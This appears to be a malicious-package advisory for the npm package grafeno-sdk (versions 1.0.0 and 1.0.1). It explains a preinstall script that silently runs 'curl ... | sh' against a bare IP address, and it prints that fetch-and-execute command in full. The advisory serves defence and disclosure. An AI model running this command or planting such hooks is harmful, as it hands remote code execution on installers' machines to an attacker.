grafeno-sdk
Affected
- Versions:
1.0.0,1.0.1
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in grafeno-sdk (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3)
package.json declares a preinstall lifecycle script that runs node -e to invoke child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'}), wrapped in a try/catch that silently discards errors. On npm install, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.
Not rated by the source.
1.0.0, 1.0.1None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0